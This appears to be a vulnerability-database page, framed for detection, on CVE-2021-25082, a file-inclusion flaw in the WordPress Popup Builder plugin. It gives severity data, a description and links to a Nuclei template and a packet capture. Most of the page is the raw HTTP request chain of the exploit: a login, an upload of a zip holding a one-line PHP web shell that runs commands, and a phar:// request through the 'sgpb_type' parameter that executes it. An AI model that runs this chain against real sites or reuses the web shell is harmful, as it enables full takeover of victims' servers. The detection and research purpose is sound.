🔙 목록으로 돌아가기

CVE-2021-25082: WordPress Popup Builder < 4.0.7 - Remote Code Execution

Title	WordPress Popup Builder < 4.0.7 - Remote Code Execution
Author	0x_Akoko
Severity	Critical
Impact	Attackers can include arbitrary local files or execute code remotely, leading to remote code execution and full site compromise.
Remediation	Update to version 4.0.7 or later
CVSS Score	8.8
EPSS Score	0.31753
CVE ID	CVE-2021-25082
CWE ID	CWE-98
Tags	cve cve2021 wordpress wp-plugin rce popup-builder authenticated vkev

🔍 Vulnerability Description

Popup Builder WordPress plugin before 4.0.7 contains a local file inclusion caused by unsanitized ‘sgpb_type’ parameter in require statement, letting attackers include arbitrary local files or execute code via wrappers like PHAR, exploit requires attacker to control ‘sgpb_type’ parameter.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=BXPaJT&pwd=V6MToj&wp-submit=Log+In

GET /wp-admin/upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

POST /wp-admin/async-upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 769
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary38FIKhO2XQsy3kVmi2aWZrBDyTN
Accept-Encoding: gzip

------WebKitFormBoundary38FIKhO2XQsy3kVmi2aWZrBDyTN

Content-Disposition: form-data; name="name"



malicious.zip

------WebKitFormBoundary38FIKhO2XQsy3kVmi2aWZrBDyTN

Content-Disposition: form-data; name="action"



upload-attachment

------WebKitFormBoundary38FIKhO2XQsy3kVmi2aWZrBDyTN

Content-Disposition: form-data; name="_wpnonce"



CgzJbH

------WebKitFormBoundary38FIKhO2XQsy3kVmi2aWZrBDyTN

Content-Disposition: form-data; name="async-upload"; filename="malicious.zip"

Content-Type: application/zip



PK
r
�[�:{	Popup.phpUT	�
Bi�
Biux<?php system($_GET["cmd"]); ?>
PK
r
�[�:{	��Popup.phpUT�
BiuxPKOb

------WebKitFormBoundary38FIKhO2XQsy3kVmi2aWZrBDyTN--

GET /wp-content/uploads/2Wiy98/uNmvza/malicious.zip HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip

GET /?sgpb_type=phar://wp-content/uploads/2Wiy98/uNmvza/malicious.zip/&cmd=echo%20malicious HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25082.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25082.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A